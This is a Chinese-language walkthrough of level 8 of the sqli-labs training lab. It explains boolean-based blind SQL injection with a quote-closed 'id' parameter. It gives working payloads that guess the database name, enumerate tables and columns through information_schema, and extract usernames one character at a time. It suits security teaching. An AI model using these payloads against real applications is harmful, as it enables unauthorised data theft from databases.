sqli-labs靶场 less 8

文章目录


sqli-labs靶场

每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。

sql注入的基本步骤

  • 注入点
  • 注入类型
    • 字符型:判断闭合方式 ('、"、''、"")
    • 数字型
  • 根据实际情况,选择合适的注入方式
  • 获取数据库名,表名,列名,数据

less 8 布尔盲注

数据库名长度-》数据库库名

指定数据库中表的个数-》 表名长度-》 表名

指定表中的字段个数-》 字段长度-》 字段名

指定表中该字段有多少条记录-》 数据长度-》 数据内容

  • 题目类型: 字符型 ' 闭合

id=1和id=1/0 无变化

id=1'不显示You are in

id=1'' id=1''' id=1'''' 并且呈规律性变化

id=1'--+ 正常回显 所以是字符型注入


id=1'--+ 正常回显 所以是字符型注入

通过以上判断注入类型和闭合方式,可以看到页面只呈现真假二个页面,所以适合使用布尔盲注
先构造轮子

id=1' and 1 --+

true页面

id=1' and 0 --+

false页面
对轮子变形

id=1' and length("abcd") = 4 --+

轮子正确

替换轮子
1、判断当前数据库

(1)判断数据库名长度

id=1' and length(database()) =n --+

n表示使用数据库名的长度,对n进行爆破

可见长度为8

(2)猜数据库名

id=1' and substr(database(),1,1)='s' --+

可以看到大小写都盲注成功

数据名是 security

2、判断指定库的所有表

(1)判断当前库有多少个表

id=1' and (select count(table_name) from information_schema.tables where table_schema="security" ) = 4--+


(2)判断指定库中第n个表名最多有几个字母

开始判断第1个表名最多有几个字母

id=1' and length( (select table_name from information_schema.tables where table_schema='security' limit 0,1 ) )=6 --+

判断得到第1个表名有6个字母


(3)猜指定库中第n个表名

id=1' and substr((select table_name from information_schema.tables

where table_schema="security" limit 0,1),1,1)='e' --+

3、判断指定库指定表的字段

(1)判断指定表中有几个字段

id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3 --+


(2)判断指定库的指定表中的第n个字段最多有几个字母

id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 --+

(3)猜指定表中第n个字段名

id=1' and substr((select column_name from information_schema.columns

where table_schema="security" and table_name='users' limit 0,1),1,1)='i' --+


4、爆破内容

(1)判断内容中有几行数据

id=1' and (select count(username) from users)=13 --+

(2)判断第n行记录最多有几个字母

id=1' and length((select username from users limit 0,1))=4 --+

(3)猜数据内容

id=1' and substr((select username from users limit 0,1),1,1)='D' --+

MySQL数据库,不区分大小写,Dump和DUMP都可以


相关推荐
程序员爱钓鱼6 小时前
Node.js 编程实战:文件读写操作
前端·后端·node.js
PineappleCoder6 小时前
工程化必备!SVG 雪碧图的最佳实践:ID 引用 + 缓存友好,无需手动算坐标
前端·性能优化
JIngJaneIL7 小时前
基于springboot + vue古城景区管理系统(源码+数据库+文档)
java·开发语言·前端·数据库·vue.js·spring boot·后端
敲敲了个代码7 小时前
隐式类型转换:哈基米 == 猫 ? true :false
开发语言·前端·javascript·学习·面试·web
澄江静如练_7 小时前
列表渲染(v-for)
前端·javascript·vue.js
微学AI7 小时前
复杂时序场景的突围:金仓数据库是凭借什么超越InfluxDB?
数据库
廋到被风吹走7 小时前
【数据库】【Redis】定位、优势、场景与持久化机制解析
数据库·redis·缓存
JustHappy8 小时前
「chrome extensions🛠️」我写了一个超级简单的浏览器插件Vue开发模板
前端·javascript·github
Loo国昌8 小时前
Vue 3 前端工程化:架构、核心原理与生产实践
前端·vue.js·架构